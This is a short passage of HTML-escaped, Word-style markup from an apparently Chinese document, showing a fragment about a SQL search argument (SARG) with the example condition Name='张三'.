&lt;/SPAN&gt;符号&lt;SPAN&gt;SARG&lt;/SPAN&gt;，而：&lt;SPAN&gt;Name=&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312"&gt;’&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;张三&lt;/SPAN&gt;&lt;SP